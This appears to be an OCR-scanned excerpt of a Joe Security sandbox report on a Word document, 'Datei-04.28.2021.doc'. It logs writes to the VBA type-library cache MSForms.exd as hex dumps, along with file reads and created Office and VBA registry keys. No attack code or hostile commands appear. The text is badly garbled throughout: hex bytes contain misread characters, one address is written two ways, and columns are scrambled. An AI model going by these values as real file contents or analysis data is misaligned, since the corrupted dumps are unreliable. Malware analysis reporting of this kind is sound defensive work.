C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 2400 00 00 $... success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ff ff ff ff success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 20 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 80 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 bc 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
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File Path
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
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Offset

unknown 580

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

Source

Completion Count Address Symbol

00 00 00 00 64 00 00 ....d....... e Xeene success or wait 1 7FEE90CFDDC unknown
00 ¢8 00 00 00 2c 01
00 00 90 01 00 00 f4

01 00 00 58 02 00 00
bc 02 00 00 20 03 00
0084 030000€e803 <.
00 00 4c 04 00 00 b0 ..
04 00 00 14 0500 00 ..
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 dO 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09

00 00 c4 09 00 00 28
0a 00 00 8c 0a 00 00
fO 0a 00 00 54 Ob 00

00 b8 0b 00 00 1c Oc
00 00 80 Oc 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0

0f 00 00 04 10 00 00

68 10 00 00 cc 10 00
0030 11 00 0094 11
00 00 f8 11 00 00 5¢

12 00 00 c0 12 00 00
2413 00 00 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 15 00 00 44 16 00
00 a8 16 00 00 Oc 17
00 00 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

ff ff ff ff a4 38 00 00 ff ..... G ——
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 Oa 00 00
do 08 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 24 00 00 00
1c 00 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 06 00 00
do 03 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 80 00 00 00 ff ................
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 10 00 00
10 Oe 00 00 Of 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 02 00 00 ff ................
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown

ff ff f ff 00 78 00 00
78 47 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 Ob 00 00
54 06 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 10 00 00
10 Oe 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 00 00 00 ff ................
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 20 00 00 00
10 00 00 00 0f 00 00
00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 00 00 00 ff ................
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 00 00 00 ff ................
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown

ff ff ff ff 00 00 00 00 ff
ff ff ff Of 00 00 00

success or wait 1 7FEE90CFDDC unknown
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File Path
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright Joe Security LLC 2021

Offset

unknown 128

Length Value

00 00 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

00 18 00 00 00 00 00 ..

00 00 14 00 00 00 00 ..
coed beeren Dk

00 00 00 ff ff ff ff 00

00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00

04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff 26 21

01 00 ff ff ff ff 00 00

00 00 00 00 00 00 03
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 30
00 00 00 00 00 00 00
2c 00 00 00 00 00 00
00 ff ff ff ff 00 00 00

00 00 00 00 00 ff ff ff
ff 00 00 00 00 04 00

00 00 03 00 03 80 00
00 00 00 00 00 00 00
ff ff ff ff a6 10 02 00 ff
ff ff ff 00 00 00 00 00
00 00 00 03 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 48 00 00 00
00 00 00 00 44 00 00

¢8 0d 00 00 f8 07 00

00 e0 0d 00 00 10 08
00 00 f0 Oc 00 00 28

08 00 00 78 Oc 00 00
40 08 00 00 d0 Ob 00
00 98 0d 00 00 e8 Ob
00 00 98 0a 00 00 68
0d 00 00 c0 Oc 00 00
18 Oc 00 00 88 08 00
00 90 09 00 00 88 Ob
00 00 b0 0d 00 00 58
0Ob 00 00 40 Ob 00 00
28 0b 00 00 f8 0d 00

00 08 0d 00 00 88 05
00 00 c0 03 00 00 90
0c 00 00 e0 0Oa 00 00
50 0d 00 00 20 0d 00
00 b8 0b 00 00 d8 Oc
00 00

Ascii

Completion

success or wait

success or wait

Count Address

1

1

Source
Symbol

7FEE90CFDDC unknown

7FEE90CFDDC unknown
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File Path
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value

unknown 3600

unknown 976

c84cdc 96 7d 38 8e .L..}J8.N...u.g........... CPf..

4e 88 f5 ed 75 2e 67
14 c5 fe ff ff ff ff ff ff ff
01 43 50 66 0Of be 1a

Ascii

.0..d.

10 8b bb 00 aa 00 30 ...

Oc ab 00 00 00 00 ff
ff ff ff 13 43 50 66 Of
be 1a 10 8b bb 00 aa
00 30 Oc ab 64 00 00
00 ff ff ff ff Ob 43 50
66 Of be 1a 10 8b bb
00 aa 00 30 Oc ab c8
00 00 00 ff ff ff ff 02
e0 f6 be 74 a8 1a 10
8b ba 00 aa 00 30 Oc
ab 2c 01 00 00 ff ff ff
ff 03 e0 f6 be 74 a8
1a 10 8b ba 00 aa 00
30 Oc ab 90 01 00 00
ff ff ff ff 20 47 bb 10
97 7 ce 11 b9 ec 00
aa 00 6b 1a 69 f4 01
00 00 ff ff f ff e0 03
Oc 57 97 f7 ce 11 b9
ec 00 aa 00 6b 1a 69
58 02 00 00 ff ff ff ff
90f5 72 ec 75 f3 ce
11 b9 e8 00 aa 00 6b
1a 69 bc 02 00 00 ff
ff ff ff 70 23 b0 82 bc
b5 cf 11 81 0f 00 a0
c9 03 00 74 20 03 00
00 ff ff ff ff 71 23 b0
82 bc b5 cf 11 81 0f
00 a0 c9 03 00

20 03 00 00 01 00 00
00 ff ff ff f ff ff ff ff 84
03 00 00 01 00 00 00
ff ff ff ff ff ff ff ff 8 03
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff 4c 04
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff bO 04
00 00 01 00 00 00 ff
ff ff ff ff ff f ff bc 02
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff d8 Oe
00 00 01 00 00 00 ff
ff ff ff 70 00 00 00 68
10 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 04 10
00 00 01 00 00 00 ff
ff ff ff 90 00 00 00 30
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff a0 Of
00 00 01 00 00 00 ff
ff ff ff bO 00 00 00 94
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 64 19
00 00 01 00 00 00 ff
ff ff ff dO 00 00 00 28
23 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 8 19
00 00 01 00 00 00 ff
ff ff ff f0 00 00 00 fO
23 00 00 03 00 00 00
ff ff ff ff ff ff ff

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEE90CFDDC unknown

7FEE90CFDDC unknown
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File Path
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value

unknown 2256

unknown 28

unknown 512

00 00 01 03 00 00 00
00 c8 0d 00 00 01 00
01 03 00 00 00 00 e0
0d 00 00 02 00 00 01
00 00 00 00 00 00 00
00 03 00 00 01 00 00

00 00 00 00 00 00 04 ..

00 00 01 00 00 00 00
00 00 00 00 05 00 00
01 00 00 00 00 01 00
00 00 06 00 00 01 00
00 00 00 02 00 00 00
07 00 00 01 00 00 00
00 00 00 00 00 08 00
00 01 00 00 00 00 00
00 00 00 09 00 00 01
00 00 00 00 00 00 00
00 0a 00 00 01 00 00
00 00 01 00 00 00 Ob
00 00 01 00 00 00 00
02 00 00 00 Oc 00 00
01 00 00 00 00 00 00
00 00 0d 00 00 01 00
00 00 00 00 00 00 00
Oe 00 00 01 00 00 00
00 00 00 00 00 0f 00
00 01 00 00 00 00 01
00 00 00 10 00 00 01
00 00 00 00 02 00 00
00 11 00 00 01 00 00
00 00 00 00 0000 12
00 00 01 00 00 00 00
00 00 00 00 13 00 00
01 00 00 00 00 00 00
00 00 14 00 00 01 00
00 00 00 01 00 00 00
1500 00

b0 0d 00 00 00 00 OO ............ -.stdole2.tbWwwWw

00 02 00 00 00 2d 00
73 74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57 57

00 3f 00 00 48 22 00
00 e8 2d 00 00 34 47
00 00 70 45 00 00 ec

e4 420000 b8 3e 00 .C...

00 48 45 00 00 14 2e

000058470000¢c8 ..;

29 00 00 58 46 00 00
fc 43 00 00 4 3a 00
00 ac 3f 00 00 f0 21
00 00 44 39 00 00 dO
4400 00 d4 43 00 00
d4 40 00 00 d4 3b 00
00 20 24 00 00 d8 39
00 00 a4 37 00 00 ac
41 00 00 d0 35 00 00
34 43 00 00 a4 44 00
00 Oc 43 00 00 9c 40
00 00 a0 46 00 00 10
47 00 00 b8 2d 00 00
b0 3d 00 00 1c 40 00
00 38 42 00 00 a8 3b
00 00 38 3d 00 00 cO
3f 00 00 a0 42 00 00
24 4500 00 30 41 00
00 20 30 00 00 a0 3e
00 00 98 45 00 00 e8
4100 00 48 43 00 00
10 26 00 00 4c 2d 00
00 38 2b 00 00 70 2f
00 00 40 3f 00 00 40
3e 00 00 f8 31 00 00
74 1f 00 00 28 3e 00
00 cc 38 00 00 94 27
00 00 f8 42 00 00 58
3e 00 00 b0 43 00 00
88 3¢ 00

.@?.@>...1.1...(>..8..."..
.B.X>..C..<.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEE90CFDDC unknown

7FEE90CFDDC unknown

7FEE90CFDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value Ascii
unknown 18296  ff ff ff ff ff ff ff ff 07 00 .......... C.MSFormsW.........

unknown 1620

430f4d 53 46 672 8

6d 73 57 00 00 00 00 ..OLE_COLORWWWA.......
f ff ff ff 09 38 e4 f5 4f .8(0OLE_

4c 45 5 43 4f 4c 4f  HANDLEWW.........8.WOL
52 57 57 57 64 00 00 E_OPTEXC

00 ff ff ff ff 0a 38 28  LUSIVE,.......8..IFontWW
6f 4f 4c 4554841 W.........

4e 44 Ac 45 57 57 ¢8 (U.Font.........8.*fmDrop
0000 00 ffff ff ff 10  EffectX........8.bfmAction....

38 c2 57 4f 4c 45 5f
4f 50 54 45 58 43 4c
55 53 49 56 45 2¢ 01
00 00 ff ff f ff 05 38
9f ce 49 46 6f 6e 74
57 57 57 90 01 00 00
ff ff ff ff 04 28 55 10
46 6f 6e 74 f4 01 00
00 ff ff ff ff Oc 38 a9
2a 66 6d 44 72 6f 70
45 66 66 65 63 74 58
02 00 00 ff ff ff ff 08
38 8c 62 66 6d 41 63
74 69 6f 6e bc 02 00
00 ff ff ff ff 10 38 8f
6b 49 44 61 74 61 41
75 74 6f 57 72 61 70
70 65 72 20 03 00 00
ff ff ff ff Oe 38 dc 56
495265747572 6e
49 6e 74 65 67 65 72
57 57 84 03 00 00 ff
ff ff ff Oe 38 €0 39 49
52 65 74 75 72 6e 42
6f 6f 6¢

22 00 4d 69 63 72 6f
73 6f 66 74 20 46 6f
72 6d 73 20 32 2e 30
20 4f 62 6a 65 63 74
204c 6962726172
79 1c 00 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢
7379737465 6d 33
32 5c 66 6d 32 30 2e
68 6¢ 70 57 57 04 00
4e 6f 6e 65 57 57 04
00 43 6f 70 79 57 57
04 00 4d 6f 76 65 57
57 0a 00 43 6f 70 79
4f 72 4d 6f 76 65 03
00 43 75 74 57 57 57
0500 50 61 73 74 65
57 08 00 44 72 61 67
44 72 6f 70 57 57 07
00 49 6e 68 65 72 69
74 57 57 57 02 00 4f
6e 57 57 57 57 03 00
4f 66 66 57 57 57 07
00 44 65 66 61 75 6¢C
74 57 57 57 05 00 41
72 72 6f 77 57 05 00
43 72 6f 73 73 57 05
00 49 42 65 61 6d 57
08 00 53 69 7a 65 4e
45 53 57 57 57 06 00
53 69 7a 65 4e 53 08
00 53 69 7a 65 4e 57
53 45 57 57 06 00 53
69 7a 65 57 45 07 00
5570417272 6f77
57 57 57 09 00 48 6f
757247

..... 8.kIDataAutoWrapper
...8.VIReturnintegerWWw.....
....8.9IReturnBool

".Microsoft Forms 2.0
Object L
ibrary..C:\Windows\system
32\fm
20.hlpWW..NoneWW..Cop
yWW..Move
WW..CopyOrMove..CutW
WW..PasteW
..DragDropWW..InheritWW
W..OnWW

WW..Off WWW..DefaultWw
WW..ArrowW
..CrossW..IBeamW..SizeN
ESWWW..
SizeNS..SizeNWSEWW..S
izeWE..Up
ArrownWWW..HourG

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEE90CFDDC unknown

7FEE90CFDDC unknown
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File Path
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value

unknown 3600

unknown 16

unknown 4
unknown 2

unknown 22

unknown 12

unknown 88

unknown 88

1a 00 08 40 08 00 08 ...

80 1a 00 06 40 06 00
06 80 1a 00 Ob 40 Ob

00 0b 80 1a 00 02 40 .

02 00 02 80 1d 00 ff
7f 64 00 00 00 1a 00
ff 7f 20 00 00 00 1d
00 ff 7f 2c 01 00 00
1a 00 ff 7f 30 00 00
00 1a 00 ff 7f 38 00
00 00 1d 00 ff 7f 19
00 00 00 1a 00 ff 7f
48 00 00 00 1a 00 00
40 18 00 00 80 1a 00
fe 7f 58 00 00 00 1a
001340170013 80
1d 00 ff 7f 25 00 00
00 1a 00 ff 7f 70 00
0000 1a 00 1040 10
00 10 80 1a 00 fe 7f
80 00 00 00 1a 00 03
4003 00 03 80 1d 00
ff 731 00 00 00 1a
00 ff 7f 98 00 00 00
1d 00 ff 7f 3d 00 00
00 1a 00 ff 7f a8 00
00 00 1a 00 Oc 40 Oc
00 Oc 80 1d 00 ff 7f
49 00 00 00 1a 00 ff
7f c0 00 00 00 1d 00
0300 f4 01 00 00 1d
00 ff 7f 55 00 00 00
1a 00 ff 7f d8 00 00
00 1d 00 ff 7f 61 00
00 00 1a 00 ff 7f e8
00 00 00 1d 00 ff 7f
6d 00 00

03 00 fe ff ff ff 57 57
03 00 ff ff ff ff 57 57

24 03 00 00
2400

00 00 19 00 19 80 00
00 00 00 Oc 00 4c 00
11 44 01 00 01 00 0O
00

00 00 00 00 b0 Oe 00
00 0a 00 00 00

00 00 00 00 00 00 00
00 02 00 00 00 02 00
00 00 03 00 00 00 03
00 00 00 04 00 00 00
04 00 00 00 05 00 00
00 05 00 00 00 06 00
00 00 06 00 00 00 07
00 00 00 07 00 00 00
08 00 00 00 08 00 00
00 10 00 01 60 11 00
016012000160 13
00 01 60 14 00 01 60
1500 01 60

a0 Oe 00 00 a0 Oe 00

00c40e0000c4 0e .4..4..d.d.
00 00 €8 0e 00 00 €8 ..

0Oe 00 00 Oc Of 00 00
Oc Of 00 00 34 0f 00
00 34 0f 00 00 64 Of
00 00 64 0f 00 00 9c
0f 00 00 9c 0f 00 00
c4 0f 00 00 c4 0f 00
00 ec 0f 00 00 14 10
00 00 3¢ 10 00 00 68
10 00 00 ac 10 00 00
c4 10 00 00

Completion

success or wait

success or wait

success or wait
success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

107
1956
1757

1215

107

107

7FEE90CFDDC unknown

7FEE90CFDDC unknown

7FEE90CFDDC unknown
7FEE90CFDDC unknown
7FEE90CFDDC unknown

7FEE90CFDDC unknown

7FEE90CFDDC unknown

7FEE90CFDDC unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 00 000000240000 ...$..H...l..oooooeunenenee success or wait 107 7FEEQ0CFDDC unknown
00 48 00 00 00 6¢ 00 ...D...h....
000090000000b4 ...@...d..
00 00 00 d8 00 00 00
fc 00 00 00 20 01 00
00 44 01 00 00 68 01
00 00 8¢ 01 00 00 b0
01 00 00 d4 01 00 00
f8 01 00 00 1c 02 00
00 40 02 00 00 64 02
00 00 88 02 00 00 ac
02 00 00 dc 02 00 00

00 03 00 00
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 09 04 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 51 00 Q. success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 02 00 . success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 06 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 91 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 b3 02 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 23 00 00 .. success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 2400 00 00 $... success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ff ff ff ff success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 20 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 80 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 bc 00 00 00 success or wait 1 7FEEQ0CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 580 00 00 00 00 64 0000 ....d....... e ) ST success or wait 1 7FEEQ0CFDDC unknown

00 ¢8 00 00 00 2c 01

00 00 90 01 00 00 f4

01 00 00 58 02 00 00

bc 02 00 00 20 03 00

0084 030000e803 <.
00 00 4c 04 00 00 bO ..
04 0000 14 050000 ..
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 dO 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0Oa 00 00
f0 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 0c 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011000094 11
0000 f8 11 00 00 5¢
12 00 00 c0 12 00 00
2413 0000 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 1500 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8803 0000 a4 3800 ..... 8 success or wait 1 7FEEQO0CFDDC unknown
00 ff ff ff ff Of 00 00
00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8c 4e 00 00 d0 08 00 .N.............. success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 5¢ 57 00 00 1c 00 00 \W....
00 ff ff ff ff Of 00 00
00

success or wait 1 7FEE90CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 bc 4a 00 00 d0 0300 .J.............. success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 2c3c 0000800000 ,<....cccoeeee success or wait 1 7FEE90CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ac 3c 000010 0e 00 .<.............. success or wait 1 7FEE90CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 78 57 00 00 00 02 00 XW........c...... success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 7859 00 00 78 47 00 XY..XG.......... success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 f0a0 00005406 00 ....T........... success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 44 a7 00 00 10 0e 00 D............... success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEEQ0CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 54 b50000100000 T..oocveneenes success or wait 1 7FEEQ0CFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEEQ0CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEEQ0CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEEQ0CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 14500 26 21 00 00 64 b5 00
00 00 00 00 00 00 00
00 00 03 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 0000 00 ..,..
00 00 18 00 00 00 00 ..
00 00 00 14 00 00 0O ..
00 00 00 00 ff ff ff ff
00 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 04 00 00 00 03 00
03 80 00 00 00 00 00
00 00 00 ff ff ff ff 26
21 01 00 64 b5 00 00
00 00 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 30 00 00 00 00 00
00 00 2c 00 00 00 00
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff a6 10
02 00 64 b5 00 00 00
00 00 00 00 00 00 00
03 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
48 00 00 00 00 00 00
00 44 00 00

success or wait 1 7FEE90CFDDC unknown

File Read

Source
File Path Offset Length Completion Count Address Symbol

C:\Users\user\Desktop\Datei-04.28.2021.doc unknown 14 success or wait 1 7FEF401D979 ReadFile
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File Path

C:\Users\user\Desktop\Datei-04.28.2021.doc
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC
C:\Users\user\Desktop\Datei-04.28.2021.doc

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F50BF

Key Value Created

Key Path Name

HKEY_CURRENT_USER\Software\Mic F50BF
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F50BF

Copyright Joe Security LLC 2021

Offset Length Completion
unknown 14 success or wait
unknown 1 success or wait
unknown 4096 success or wait
2264 184 success or wait
Completion Count

success or wait
success or wait
success or wait
success or wait

success or wait

Data

04 00 00 00 5C 09 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
F7 5A 63 54 91 3C D7 01 BF 50 OF 00
BF 50 OF 00 00 00 00 00 DB 04 00 00
02 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
